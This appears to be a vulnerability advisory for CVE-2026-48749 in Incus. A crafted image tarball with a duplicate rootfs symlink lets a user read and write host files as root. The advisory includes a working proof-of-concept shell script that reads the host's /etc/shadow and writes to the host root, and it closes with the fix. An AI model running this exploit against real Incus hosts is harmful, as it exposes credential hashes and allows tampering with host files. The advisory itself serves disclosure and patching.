CVE-2026-48749: Incus Arbitrary File Read and Write via rootfs Symlink in Malicious Image
A crafted container image can trick Incus into mapping its rootfs to any path on the host, letting an authenticated user read or overwrite arbitrary host files as root.
The problem
Incus validates an image once it sees a legitimate `metadata.yaml` and a `rootfs/` directory entry. It does not check for a duplicate top-level `rootfs` entry appended later in the same tarball.
Because tar extraction processes entries in order, the duplicate `rootfs -> /` symlink overwrites the original directory on disk. The stopped-container file API then opens `d.RootfsPath()` and passes that file descriptor to `forkfile`, which chroots into it. Since `RootfsPath()` now resolves to `/` on the host, every `incus file pull` or `incus file push` operation touches the real host filesystem with root privileges.
Proof of concept
#!/bin/sh
set -eu
tmpdir=$(mktemp -d)
cleanup() { rm -rf "${tmpdir}"; }
trap cleanup EXIT INT QUIT TERM HUP
mkdir -p "${tmpdir}/img/rootfs"
cat <<'__EOF__' > "${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
description: PoC rootfs symlink host afrw
__EOF__
cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * > ../afrw-rootfs-symlink.tar
# inject rootfs symlink AFTER the directory entry
rmdir rootfs
ln -s / rootfs
tar --owner=0 --group=0 -f ../afrw-rootfs-symlink.tar --append rootfs
incus image import ../afrw-rootfs-symlink.tar --alias afrw-rootfs-symlink
incus init afrw-rootfs-symlink afrw-rootfs-symlink
# read host /etc/shadow
incus file pull afrw-rootfs-symlink/etc/shadow "${tmpdir}/shadow"
cat "${tmpdir}/shadow"
# write a file to host /
printf 'afrw-rootfs-symlink\n' > "${tmpdir}/afrw-rootfs-symlink"
incus file push "${tmpdir}/afrw-rootfs-symlink" afrw-rootfs-symlink/The tar format allows multiple entries with the same name. Incus validated the image on first pass (seeing `rootfs/` as a directory), but the full extraction honored the later `rootfs -> /` symlink, leaving the on-disk path as a host symlink.
The stopped-container file API calls `d.RootfsPath()`, opens that path as a file descriptor, and passes it to `forkfile` for a `chroot`. Because the symlink was never rejected, `chroot` lands on `/` of the host rather than the container's isolated filesystem (CWE-73: External Control of File Name or Path).
The patch added a check after full extraction to verify that the resolved `rootfs` path is a real directory, not a symlink, before the container is created or the file API is invoked.
The fix
Upgrade to Incus 7.2.0 or later. The fix rejects any image whose top-level `rootfs` entry resolves to a symlink after extraction, preventing the duplicate-entry trick entirely. LTS users should apply the backport available in the `stable-6.0` branch.
Reported by 7asecurity.